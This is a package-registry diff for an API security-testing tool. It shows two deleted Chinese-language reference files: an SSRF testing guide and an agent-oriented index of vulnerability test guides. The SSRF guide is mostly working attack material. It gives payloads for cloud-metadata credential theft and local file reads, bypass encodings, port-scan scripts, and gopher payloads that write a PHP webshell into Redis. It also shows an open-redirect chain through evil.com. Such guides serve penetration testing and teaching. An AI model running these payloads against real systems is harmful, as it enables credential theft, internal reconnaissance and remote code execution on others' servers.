opencode-api-security-testing 5.0.0 → 5.2.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +48 -48
- package/postinstall.mjs +40 -69
- package/references/references/README.md +0 -72
- package/references/references/asset-discovery.md +0 -119
- package/references/references/fuzzing-patterns.md +0 -129
- package/references/references/graphql-guidance.md +0 -108
- package/references/references/intake.md +0 -84
- package/references/references/pua-agent.md +0 -192
- package/references/references/report-template.md +0 -156
- package/references/references/rest-guidance.md +0 -76
- package/references/references/severity-model.md +0 -76
- package/references/references/test-matrix.md +0 -86
- package/references/references/validation.md +0 -78
- package/references/references/vulnerabilities/01-sqli-tests.md +0 -1128
- package/references/references/vulnerabilities/02-user-enum-tests.md +0 -423
- package/references/references/vulnerabilities/03-jwt-tests.md +0 -499
- package/references/references/vulnerabilities/04-idor-tests.md +0 -362
- package/references/references/vulnerabilities/05-sensitive-data-tests.md +0 -466
- package/references/references/vulnerabilities/06-biz-logic-tests.md +0 -501
- package/references/references/vulnerabilities/07-security-config-tests.md +0 -511
- package/references/references/vulnerabilities/08-brute-force-tests.md +0 -457
- package/references/references/vulnerabilities/09-vulnerability-chains.md +0 -465
- package/references/references/vulnerabilities/10-auth-tests.md +0 -537
- package/references/references/vulnerabilities/11-graphql-tests.md +0 -355
- package/references/references/vulnerabilities/12-ssrf-tests.md +0 -396
- package/references/references/vulnerabilities/README.md +0 -148
- package/references/references/workflows.md +0 -192
- package/src/src/index.ts +0 -535
|
@@ -1,396 +0,0 @@
|
|
|
1
|
-
# SSRF安全测试
|
|
2
|
-
|
|
3
|
-
## 1. 概述
|
|
4
|
-
|
|
5
|
-
SSRF(Server-Side Request Forgery,服务端请求伪造)是指攻击者利用服务器端发起恶意请求的攻击。
|
|
6
|
-
|
|
7
|
-
**危险等级**: 高
|
|
8
|
-
|
|
9
|
-
## 2. 测试点识别
|
|
10
|
-
|
|
11
|
-
### 2.1 常见SSRF点
|
|
12
|
-
|
|
13
|
-
| 功能 | 示例 |
|
|
14
|
-
|------|------|
|
|
15
|
-
| URL获取 | `url`, `src`, `href`, `file`, `path` |
|
|
16
|
-
| 文件读取 | `file://`, `path=` |
|
|
17
|
-
| API调用 | `api_url`, `endpoint`, `fetch_url` |
|
|
18
|
-
| 预览 | `preview_url`, `thumbnail` |
|
|
19
|
-
| Webhook | `webhook_url`, `callback_url` |
|
|
20
|
-
| SSO | `saml_url`, `oauth_url` |
|
|
21
|
-
|
|
22
|
-
### 2.2 危险关键词
|
|
23
|
-
|
|
24
|
-
```
|
|
25
|
-
url, link, src, href, path, uri,
|
|
26
|
-
file, page, name, doc, template,
|
|
27
|
-
view, ajax, jsonp, callback,
|
|
28
|
-
content, data, q, search, qid,
|
|
29
|
-
proxy, image, img, fetch, goto,
|
|
30
|
-
readfile, readtext, include,
|
|
31
|
-
load, import, parse, render
|
|
32
|
-
```
|
|
33
|
-
|
|
34
|
-
## 3. SSRF测试Payload
|
|
35
|
-
|
|
36
|
-
### 3.1 本地地址
|
|
37
|
-
|
|
38
|
-
```bash
|
|
39
|
-
# localhost
|
|
40
|
-
http://127.0.0.1
|
|
41
|
-
http://localhost
|
|
42
|
-
http://[::1]
|
|
43
|
-
|
|
44
|
-
# 内网IP
|
|
45
|
-
http://192.168.1.1
|
|
46
|
-
http://10.0.0.1
|
|
47
|
-
http://172.16.0.1
|
|
48
|
-
|
|
49
|
-
# 加载文件
|
|
50
|
-
file:///etc/passwd
|
|
51
|
-
file:///c:/windows/win.ini
|
|
52
|
-
```
|
|
53
|
-
|
|
54
|
-
### 3.2 云元数据
|
|
55
|
-
|
|
56
|
-
```bash
|
|
57
|
-
# AWS元数据
|
|
58
|
-
http://169.254.169.254/latest/meta-data/
|
|
59
|
-
http://169.254.169.254/latest/user-data/
|
|
60
|
-
http://169.254.169.254/latest/meta-data/iam/security-credentials/
|
|
61
|
-
http://169.254.169.254/latest/api/token
|
|
62
|
-
|
|
63
|
-
# GCP元数据
|
|
64
|
-
http://metadata.google.internal/computeMetadata/v1/
|
|
65
|
-
http://metadata.google.internal/computeMetadata/v1/instance/hostname
|
|
66
|
-
|
|
67
|
-
# Azure元数据
|
|
68
|
-
http://169.254.169.254/metadata/instance?api-version=2021-02-01
|
|
69
|
-
```
|
|
70
|
-
|
|
71
|
-
### 3.3 协议测试
|
|
72
|
-
|
|
73
|
-
```bash
|
|
74
|
-
# Dict协议
|
|
75
|
-
dict://127.0.0.1:6379/info
|
|
76
|
-
|
|
77
|
-
# FTP协议
|
|
78
|
-
ftp://127.0.0.1:21
|
|
79
|
-
|
|
80
|
-
# SFTP协议
|
|
81
|
-
sftp://127.0.0.1:22
|
|
82
|
-
|
|
83
|
-
# TFTP协议
|
|
84
|
-
tftp://127.0.0.1:69/test
|
|
85
|
-
|
|
86
|
-
# LDAP协议
|
|
87
|
-
ldap://127.0.0.1:389/<GUID>
|
|
88
|
-
|
|
89
|
-
# SMTP协议
|
|
90
|
-
mailto:user@localhost
|
|
91
|
-
|
|
92
|
-
# Gopher协议
|
|
93
|
-
gopher://127.0.0.1:6379/_INFO
|
|
94
|
-
```
|
|
95
|
-
|
|
96
|
-
### 3.4 URL跳转绕过
|
|
97
|
-
|
|
98
|
-
```bash
|
|
99
|
-
# @符绕过
|
|
100
|
-
http://example.com@127.0.0.1
|
|
101
|
-
http://example.com@localhost
|
|
102
|
-
|
|
103
|
-
# 端口绕过
|
|
104
|
-
http://127.0.0.1:22
|
|
105
|
-
http://127.0.0.1:80
|
|
106
|
-
http://127.0.0.1:443
|
|
107
|
-
http://127.0.0.1:8080
|
|
108
|
-
|
|
109
|
-
# 编码绕过
|
|
110
|
-
http://127.0.0.1/%2e%2e/backend
|
|
111
|
-
http://127.0.0.1/%252e%252e/backend
|
|
112
|
-
http://127.0.0.1.%09.example.com
|
|
113
|
-
```
|
|
114
|
-
|
|
115
|
-
## 4. SSRF curl测试脚本
|
|
116
|
-
|
|
117
|
-
### 4.1 基础SSRF测试
|
|
118
|
-
|
|
119
|
-
```bash
|
|
120
|
-
#!/bin/bash
|
|
121
|
-
# SSRF基础测试脚本
|
|
122
|
-
|
|
123
|
-
TARGET="http://api/fetch"
|
|
124
|
-
|
|
125
|
-
echo "=== SSRF测试 ==="
|
|
126
|
-
|
|
127
|
-
# 测试URL参数
|
|
128
|
-
URLS=(
|
|
129
|
-
"http://127.0.0.1"
|
|
130
|
-
"http://localhost"
|
|
131
|
-
"http://169.254.169.254/latest/meta-data/"
|
|
132
|
-
"http://[::1]"
|
|
133
|
-
"file:///etc/passwd"
|
|
134
|
-
)
|
|
135
|
-
|
|
136
|
-
for URL in "${URLS[@]}"; do
|
|
137
|
-
echo "[测试] $URL"
|
|
138
|
-
RESP=$(curl -s -m 5 "$TARGET?url=$URL")
|
|
139
|
-
|
|
140
|
-
if echo "$RESP" | grep -qiE "root:|admin:|amazon|aws|google|metadata"; then
|
|
141
|
-
echo " → [疑似漏洞] 获取到内部信息"
|
|
142
|
-
echo " 响应片段: ${RESP:0:200}"
|
|
143
|
-
elif [ ${#RESP} -gt 100 ]; then
|
|
144
|
-
echo " → [疑似漏洞] 响应长度异常: ${#RESP}"
|
|
145
|
-
else
|
|
146
|
-
echo " → [无响应或被拦截]"
|
|
147
|
-
fi
|
|
148
|
-
echo ""
|
|
149
|
-
done
|
|
150
|
-
```
|
|
151
|
-
|
|
152
|
-
### 4.2 云元数据测试
|
|
153
|
-
|
|
154
|
-
```bash
|
|
155
|
-
#!/bin/bash
|
|
156
|
-
# 云元数据SSRF测试
|
|
157
|
-
|
|
158
|
-
TARGET="http://api/fetch"
|
|
159
|
-
HOSTS=(
|
|
160
|
-
"169.254.169.254"
|
|
161
|
-
"metadata.google.internal"
|
|
162
|
-
)
|
|
163
|
-
|
|
164
|
-
echo "=== 云元数据SSRF测试 ==="
|
|
165
|
-
|
|
166
|
-
for HOST in "${HOSTS[@]}"; do
|
|
167
|
-
echo "[测试] $HOST"
|
|
168
|
-
|
|
169
|
-
# 获取实例ID
|
|
170
|
-
RESP1=$(curl -s -m 5 "http://${HOST}/latest/meta-data/instance-id")
|
|
171
|
-
echo " Instance ID: $RESP1"
|
|
172
|
-
|
|
173
|
-
# 获取用户数据
|
|
174
|
-
RESP2=$(curl -s -m 5 "http://${HOST}/latest/user-data/")
|
|
175
|
-
if [ ${#RESP2} -gt 10 ]; then
|
|
176
|
-
echo " User Data: ${RESP2:0:100}..."
|
|
177
|
-
fi
|
|
178
|
-
|
|
179
|
-
# 获取凭证
|
|
180
|
-
RESP3=$(curl -s -m 5 "http://${HOST}/latest/meta-data/iam/security-credentials/")
|
|
181
|
-
if [ ${#RESP3} -gt 10 ]; then
|
|
182
|
-
echo " Credentials: ${RESP3}"
|
|
183
|
-
fi
|
|
184
|
-
echo ""
|
|
185
|
-
done
|
|
186
|
-
```
|
|
187
|
-
|
|
188
|
-
### 4.3 协议测试
|
|
189
|
-
|
|
190
|
-
```bash
|
|
191
|
-
#!/bin/bash
|
|
192
|
-
# SSRF协议测试
|
|
193
|
-
|
|
194
|
-
TARGET="http://api/fetch"
|
|
195
|
-
|
|
196
|
-
echo "=== SSRF协议测试 ==="
|
|
197
|
-
|
|
198
|
-
# Dict协议 - Redis
|
|
199
|
-
RESP1=$(curl -s -m 5 "$TARGET?url=dict://127.0.0.1:6379/info")
|
|
200
|
-
echo "[Dict] Redis: $RESP1"
|
|
201
|
-
|
|
202
|
-
# FTP协议
|
|
203
|
-
RESP2=$(curl -s -m 5 "$TARGET?url=ftp://127.0.0.1/")
|
|
204
|
-
echo "[FTP] Response length: ${#RESP2}"
|
|
205
|
-
|
|
206
|
-
# Gopher协议 - Redis
|
|
207
|
-
RESP3=$(curl -s -m 5 "$TARGET?url=gopher://127.0.0.1:6379/_INFO")
|
|
208
|
-
echo "[Gopher] Redis: ${RESP3:0:100}"
|
|
209
|
-
```
|
|
210
|
-
|
|
211
|
-
## 5. SSRF利用链
|
|
212
|
-
|
|
213
|
-
### 5.1 内网端口探测
|
|
214
|
-
|
|
215
|
-
```bash
|
|
216
|
-
# 利用SSRF探测内网端口
|
|
217
|
-
for port in 22 80 443 3306 6379 8080 8443; do
|
|
218
|
-
RESP=$(curl -s -m 3 "$TARGET?url=http://127.0.0.1:$port")
|
|
219
|
-
if [ $? -eq 0 ]; then
|
|
220
|
-
echo "[开放] 端口 $port"
|
|
221
|
-
fi
|
|
222
|
-
done
|
|
223
|
-
```
|
|
224
|
-
|
|
225
|
-
### 5.2 Redis利用
|
|
226
|
-
|
|
227
|
-
```bash
|
|
228
|
-
# 通过SSRF写入Redis
|
|
229
|
-
# 构造Gopher payload
|
|
230
|
-
URL="gopher://127.0.0.1:6379/_SET%20shell%20%22%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%20%3F%3E%22%0D%0A%0D%0ASAVE%0D%0Aquit"
|
|
231
|
-
curl -s "$TARGET?url=$URL"
|
|
232
|
-
|
|
233
|
-
# 写入WebShell
|
|
234
|
-
URL="gopher://127.0.0.1:6379/_SET%20file%20%22%3C%3Fphp%20%40eval%28%24_POST%5B1%5D%29%3B%20%3F%3E%22%0D%0Aconfig%20set%20dir%20%2Fvar%2Fwww%2Fhtml%0D%0Aconfig%20set%20dbfilename%20shell.php%0D%0Asave"
|
|
235
|
-
curl -s "$TARGET?url=$URL"
|
|
236
|
-
```
|
|
237
|
-
|
|
238
|
-
### 5.3 MySQL利用
|
|
239
|
-
|
|
240
|
-
```bash
|
|
241
|
-
# 通过SSRF连接MySQL
|
|
242
|
-
URL="mysql://127.0.0.1:3306/?sql=SELECT%20*%20FROM%20users"
|
|
243
|
-
curl -s "$TARGET?url=$URL"
|
|
244
|
-
```
|
|
245
|
-
|
|
246
|
-
### 5.4 利用链脚本
|
|
247
|
-
|
|
248
|
-
```python
|
|
249
|
-
import requests
|
|
250
|
-
import urllib.parse
|
|
251
|
-
|
|
252
|
-
class SSRFExploiter:
|
|
253
|
-
def __init__(self, target):
|
|
254
|
-
self.target = target
|
|
255
|
-
|
|
256
|
-
def test_basic(self, param="url"):
|
|
257
|
-
"""基础SSRF测试"""
|
|
258
|
-
payloads = [
|
|
259
|
-
"http://127.0.0.1",
|
|
260
|
-
"http://localhost",
|
|
261
|
-
"http://169.254.169.254/latest/meta-data/",
|
|
262
|
-
"file:///etc/passwd"
|
|
263
|
-
]
|
|
264
|
-
|
|
265
|
-
for payload in payloads:
|
|
266
|
-
resp = requests.get(
|
|
267
|
-
f"{self.target}?{param}={payload}",
|
|
268
|
-
timeout=10
|
|
269
|
-
)
|
|
270
|
-
if len(resp.text) > 50:
|
|
271
|
-
print(f"[疑似] {payload}: {resp.text[:100]}")
|
|
272
|
-
|
|
273
|
-
def test_cloud_metadata(self):
|
|
274
|
-
"""云元数据测试"""
|
|
275
|
-
targets = [
|
|
276
|
-
("AWS", "http://169.254.169.254/latest/meta-data/"),
|
|
277
|
-
("AWS Token", "http://169.254.169.254/latest/api/token"),
|
|
278
|
-
("GCP", "http://metadata.google.internal/computeMetadata/v1/"),
|
|
279
|
-
("Azure", "http://169.254.169.254/metadata/instance?api-version=2021-02-01"),
|
|
280
|
-
]
|
|
281
|
-
|
|
282
|
-
for name, url in targets:
|
|
283
|
-
try:
|
|
284
|
-
resp = requests.get(url, timeout=5)
|
|
285
|
-
if resp.status_code == 200:
|
|
286
|
-
print(f"[{name}] 元数据可访问: {resp.text[:200]}")
|
|
287
|
-
except:
|
|
288
|
-
pass
|
|
289
|
-
|
|
290
|
-
def test_port_scan(self, ports=[22, 80, 443, 3306, 6379, 8080]):
|
|
291
|
-
"""内网端口扫描"""
|
|
292
|
-
print("\n=== 端口扫描 ===")
|
|
293
|
-
for port in ports:
|
|
294
|
-
try:
|
|
295
|
-
resp = requests.get(
|
|
296
|
-
f"{self.target}?url=http://127.0.0.1:{port}",
|
|
297
|
-
timeout=3
|
|
298
|
-
)
|
|
299
|
-
print(f"[开放] 端口 {port}")
|
|
300
|
-
except requests.exceptions.RequestException:
|
|
301
|
-
pass
|
|
302
|
-
```
|
|
303
|
-
|
|
304
|
-
## 6. SSRF绕过技巧
|
|
305
|
-
|
|
306
|
-
### 6.1 IP地址绕过
|
|
307
|
-
|
|
308
|
-
```bash
|
|
309
|
-
# 转换形式
|
|
310
|
-
127.0.0.1 → 2130706433 (十进制)
|
|
311
|
-
127.0.0.1 → 0x7f000001 (十六进制)
|
|
312
|
-
127.0.0.1 → 017700000001 (八进制)
|
|
313
|
-
127.0.0.1 → 127.1 (简化)
|
|
314
|
-
localhost → localhost.attacker.com
|
|
315
|
-
```
|
|
316
|
-
|
|
317
|
-
### 6.2 URL绕过
|
|
318
|
-
|
|
319
|
-
```bash
|
|
320
|
-
# @符
|
|
321
|
-
http://example.com@127.0.0.1
|
|
322
|
-
|
|
323
|
-
# 端口
|
|
324
|
-
http://127.0.0.1:80
|
|
325
|
-
http://127.0.0.1:443
|
|
326
|
-
http://127.0.0.1:8080
|
|
327
|
-
|
|
328
|
-
# 编码
|
|
329
|
-
http://127.0.0.1/%2e%2e/backend
|
|
330
|
-
http://127.0.0.1%09.example.com
|
|
331
|
-
|
|
332
|
-
# 协议变体
|
|
333
|
-
dict://127.0.0.1:6379
|
|
334
|
-
ftp://127.0.0.1
|
|
335
|
-
gopher://127.0.0.1:6379
|
|
336
|
-
```
|
|
337
|
-
|
|
338
|
-
### 6.3 重定向绕过
|
|
339
|
-
|
|
340
|
-
```bash
|
|
341
|
-
# 利用开放重定向
|
|
342
|
-
# 1. 先找目标站点的开放重定向
|
|
343
|
-
http://target.com/redirect?url=http://evil.com
|
|
344
|
-
|
|
345
|
-
# 2. SSRF目标站点指向开放重定向
|
|
346
|
-
http://api/fetch?url=http://target.com/redirect?url=http://169.254.169.254
|
|
347
|
-
```
|
|
348
|
-
|
|
349
|
-
## 7. SSRF误报判断标准
|
|
350
|
-
|
|
351
|
-
### 7.1 核心判断原则
|
|
352
|
-
|
|
353
|
-
```
|
|
354
|
-
【重要】SSRF测试需要确认"是否真的发起请求"
|
|
355
|
-
|
|
356
|
-
判断逻辑:
|
|
357
|
-
1. 请求是否成功发出
|
|
358
|
-
2. 响应是否包含内部信息
|
|
359
|
-
3. 是否能探测内网服务
|
|
360
|
-
|
|
361
|
-
【真实漏洞特征】
|
|
362
|
-
- 返回了内网服务响应
|
|
363
|
-
- 获取到了云凭证
|
|
364
|
-
- 能够读取本地文件
|
|
365
|
-
- 能够探测内网端口
|
|
366
|
-
|
|
367
|
-
【误报特征】
|
|
368
|
-
- 请求被拦截/超时
|
|
369
|
-
- 响应只是错误信息
|
|
370
|
-
- 没有返回内部信息
|
|
371
|
-
```
|
|
372
|
-
|
|
373
|
-
### 7.2 判断矩阵
|
|
374
|
-
|
|
375
|
-
| 场景 | 响应内容 | 判断 |
|
|
376
|
-
|------|----------|------|
|
|
377
|
-
| 本地地址 | 返回localhost内容 | ⚠️ 漏洞 |
|
|
378
|
-
| 云元数据 | 返回实例ID/凭证 | ⚠️ 严重漏洞 |
|
|
379
|
-
| 内网端口 | 端口开放 | ⚠️ 漏洞 |
|
|
380
|
-
| 文件读取 | 返回passwd内容 | ⚠️ 严重漏洞 |
|
|
381
|
-
| 超时/无响应 | 无 | ❌ 可能安全 |
|
|
382
|
-
| 错误信息 | 403/拦截 | ❌ 有防护 |
|
|
383
|
-
|
|
384
|
-
## 8. 测试检查清单
|
|
385
|
-
|
|
386
|
-
```
|
|
387
|
-
□ 识别SSRF参数点
|
|
388
|
-
□ 测试本地地址访问
|
|
389
|
-
□ 测试云元数据访问
|
|
390
|
-
□ 测试内网端口探测
|
|
391
|
-
□ 测试协议利用(dict/gopher/ftp)
|
|
392
|
-
□ 测试文件读取
|
|
393
|
-
□ 测试IP/URL绕过
|
|
394
|
-
□ 测试利用链(Redis/MySQL)
|
|
395
|
-
□ 评估漏洞影响
|
|
396
|
-
```
|
|
@@ -1,148 +0,0 @@
|
|
|
1
|
-
# 漏洞测试方法索引
|
|
2
|
-
|
|
3
|
-
本文档按类型分类,便于按需查阅。
|
|
4
|
-
|
|
5
|
-
## 分类目录
|
|
6
|
-
|
|
7
|
-
### [01-sqli-tests.md](./01-sqli-tests.md)
|
|
8
|
-
**SQL 注入测试**
|
|
9
|
-
- 注释绕过、OR绕过、UNION注入
|
|
10
|
-
- 布尔注入、时间盲注、报错注入
|
|
11
|
-
- **【新增】WAF绕过方法**(大小写、内联注释、双写、空格替代、编码)
|
|
12
|
-
- **【新增】详细利用链**(MySQL、MSSQL、PostgreSQL、Oracle、Redis、MongoDB)
|
|
13
|
-
- **【新增】SQL注入新思路**(Header注入、路径注入、隐藏参数)
|
|
14
|
-
|
|
15
|
-
### [02-user-enum-tests.md](./02-user-enum-tests.md)
|
|
16
|
-
**用户枚举测试**
|
|
17
|
-
- 用户名、手机号、邮箱枚举
|
|
18
|
-
- 登录接口响应差异
|
|
19
|
-
- 注册接口探测
|
|
20
|
-
- 常见账号字典
|
|
21
|
-
- **【新增】curl基准对比验证**
|
|
22
|
-
- **【新增】Python自动化脚本**
|
|
23
|
-
|
|
24
|
-
### [03-jwt-tests.md](./03-jwt-tests.md)
|
|
25
|
-
**JWT 认证测试**
|
|
26
|
-
- 空Token、alg:none、算法篡改
|
|
27
|
-
- 密钥混淆、kid注入
|
|
28
|
-
- 重放攻击测试
|
|
29
|
-
- **【新增】误报判断标准**
|
|
30
|
-
- **【新增】curl对比验证流程**
|
|
31
|
-
|
|
32
|
-
### [04-idor-tests.md](./04-idor-tests.md)
|
|
33
|
-
**IDOR 越权测试**
|
|
34
|
-
- 水平越权、垂直越权
|
|
35
|
-
- 批量遍历测试
|
|
36
|
-
- POST参数篡改
|
|
37
|
-
- **【新增】curl基准对比**
|
|
38
|
-
- **【新增】多维度判断矩阵**
|
|
39
|
-
|
|
40
|
-
### [05-sensitive-data-tests.md](./05-sensitive-data-tests.md)
|
|
41
|
-
**敏感信息泄露测试**
|
|
42
|
-
- 认证信息、金融信息、个人信息
|
|
43
|
-
- 登录/用户信息响应检查
|
|
44
|
-
- 错误信息指纹识别
|
|
45
|
-
- 脱敏检测
|
|
46
|
-
- **【新增】curl对比验证**
|
|
47
|
-
- **【新增】脱敏检测脚本**
|
|
48
|
-
|
|
49
|
-
### [06-biz-logic-tests.md](./06-biz-logic-tests.md)
|
|
50
|
-
**业务逻辑漏洞测试**
|
|
51
|
-
- 支付篡改(金额、数量、状态)
|
|
52
|
-
- 条件竞争(优惠券、库存)
|
|
53
|
-
- 业务流程绕过
|
|
54
|
-
- **【新增】curl对比验证**
|
|
55
|
-
- **【新增】Python并发测试脚本**
|
|
56
|
-
|
|
57
|
-
### [07-security-config-tests.md](./07-security-config-tests.md)
|
|
58
|
-
**安全配置漏洞测试**
|
|
59
|
-
- CORS配置(ACAO + ACAC)
|
|
60
|
-
- 安全响应头缺失
|
|
61
|
-
- 路径遍历、SSRF
|
|
62
|
-
- **【新增】CORS风险矩阵**
|
|
63
|
-
- **【新增】curl验证流程**
|
|
64
|
-
|
|
65
|
-
### [08-brute-force-tests.md](./08-brute-force-tests.md)
|
|
66
|
-
**暴力破解测试**
|
|
67
|
-
- 登录暴力破解
|
|
68
|
-
- 验证码暴力破解
|
|
69
|
-
- 防护检查与绕过
|
|
70
|
-
- **【新增】误报判断标准**
|
|
71
|
-
- **【新增】Python自动化脚本**
|
|
72
|
-
|
|
73
|
-
### [09-vulnerability-chains.md](./09-vulnerability-chains.md)
|
|
74
|
-
**漏洞关联联想**
|
|
75
|
-
- 漏洞关联矩阵
|
|
76
|
-
- 攻击链模板
|
|
77
|
-
- 漏洞优先级排序
|
|
78
|
-
- 组合利用示例
|
|
79
|
-
- **【新增】curl攻击链验证脚本**
|
|
80
|
-
|
|
81
|
-
### [10-auth-tests.md](./10-auth-tests.md) ⭐ NEW
|
|
82
|
-
**认证漏洞完整测试**
|
|
83
|
-
- SQL注入绕过认证
|
|
84
|
-
- Session Fixation/Hijacking
|
|
85
|
-
- 密码重置Token预测/泄露/复用
|
|
86
|
-
- **OAuth/OIDC漏洞**(redirect_uri绕过、state缺失、scope扩大)
|
|
87
|
-
- **SAML漏洞**(签名绕过、重放)
|
|
88
|
-
- **2FA/OTP绕过**(暴力破解、码复用、跳过)
|
|
89
|
-
- 完整curl和Python测试脚本
|
|
90
|
-
|
|
91
|
-
### [11-graphql-tests.md](./11-graphql-tests.md) ⭐ NEW
|
|
92
|
-
**GraphQL安全测试**
|
|
93
|
-
- 内省查询滥用
|
|
94
|
-
- 批量查询绕过速率限制
|
|
95
|
-
- 嵌套查询DoS
|
|
96
|
-
- 字段级权限绕过
|
|
97
|
-
- GraphQL SQL注入
|
|
98
|
-
- SSRF through GraphQL
|
|
99
|
-
- 完整curl测试模板
|
|
100
|
-
|
|
101
|
-
### [12-ssrf-tests.md](./12-ssrf-tests.md) ⭐ NEW
|
|
102
|
-
**SSRF安全测试**
|
|
103
|
-
- SSRF测试点识别
|
|
104
|
-
- 本地地址/云元数据/协议测试
|
|
105
|
-
- 云服务利用(AWS/GCP/Azure)
|
|
106
|
-
- **利用链**(Redis写入WebShell、MySQL连接)
|
|
107
|
-
- IP/URL绕过技巧
|
|
108
|
-
- 完整curl和Python测试脚本
|
|
109
|
-
|
|
110
|
-
## 使用方式
|
|
111
|
-
|
|
112
|
-
```markdown
|
|
113
|
-
# Agent 按需读取示例
|
|
114
|
-
|
|
115
|
-
## 场景1:发现可疑的登录接口
|
|
116
|
-
→ 阅读 02-user-enum-tests.md(用户枚举)
|
|
117
|
-
→ 阅读 08-brute-force-tests.md(暴力破解)
|
|
118
|
-
→ 阅读 10-auth-tests.md(完整认证漏洞)
|
|
119
|
-
|
|
120
|
-
## 场景2:发现SQL注入
|
|
121
|
-
→ 阅读 01-sqli-tests.md(SQL注入 + WAF绕过 + 利用链)
|
|
122
|
-
→ 阅读 09-vulnerability-chains.md(关联联想)
|
|
123
|
-
|
|
124
|
-
## 场景3:发现可疑的URL参数
|
|
125
|
-
→ 阅读 12-ssrf-tests.md(SSRF测试)
|
|
126
|
-
→ 阅读 11-graphql-tests.md(GraphQL安全)
|
|
127
|
-
|
|
128
|
-
## 场景4:需要进行完整渗透测试
|
|
129
|
-
→ 按顺序阅读所有文件
|
|
130
|
-
→ 使用 09-vulnerability-chains.md 整理攻击链
|
|
131
|
-
```
|
|
132
|
-
|
|
133
|
-
## 快速查询
|
|
134
|
-
|
|
135
|
-
| 漏洞类型 | 文件 | 特色内容 |
|
|
136
|
-
|----------|------|----------|
|
|
137
|
-
| SQL注入 | 01-sqli-tests.md | WAF绕过、利用链、新思路 |
|
|
138
|
-
| 用户枚举 | 02-user-enum-tests.md | curl对比验证 |
|
|
139
|
-
| JWT认证 | 03-jwt-tests.md | 误报判断 |
|
|
140
|
-
| IDOR越权 | 04-idor-tests.md | curl基准对比 |
|
|
141
|
-
| 敏感信息 | 05-sensitive-data-tests.md | 脱敏检测 |
|
|
142
|
-
| 业务逻辑 | 06-biz-logic-tests.md | 条件竞争测试 |
|
|
143
|
-
| 安全配置 | 07-security-config-tests.md | CORS风险矩阵 |
|
|
144
|
-
| 暴力破解 | 08-brute-force-tests.md | Python自动化 |
|
|
145
|
-
| 漏洞关联 | 09-vulnerability-chains.md | curl攻击链脚本 |
|
|
146
|
-
| 认证漏洞 | 10-auth-tests.md | OAuth/SAML/2FA完整 |
|
|
147
|
-
| GraphQL | 11-graphql-tests.md | 内省滥用/DoS |
|
|
148
|
-
| SSRF | 12-ssrf-tests.md | 云元数据/利用链 |
|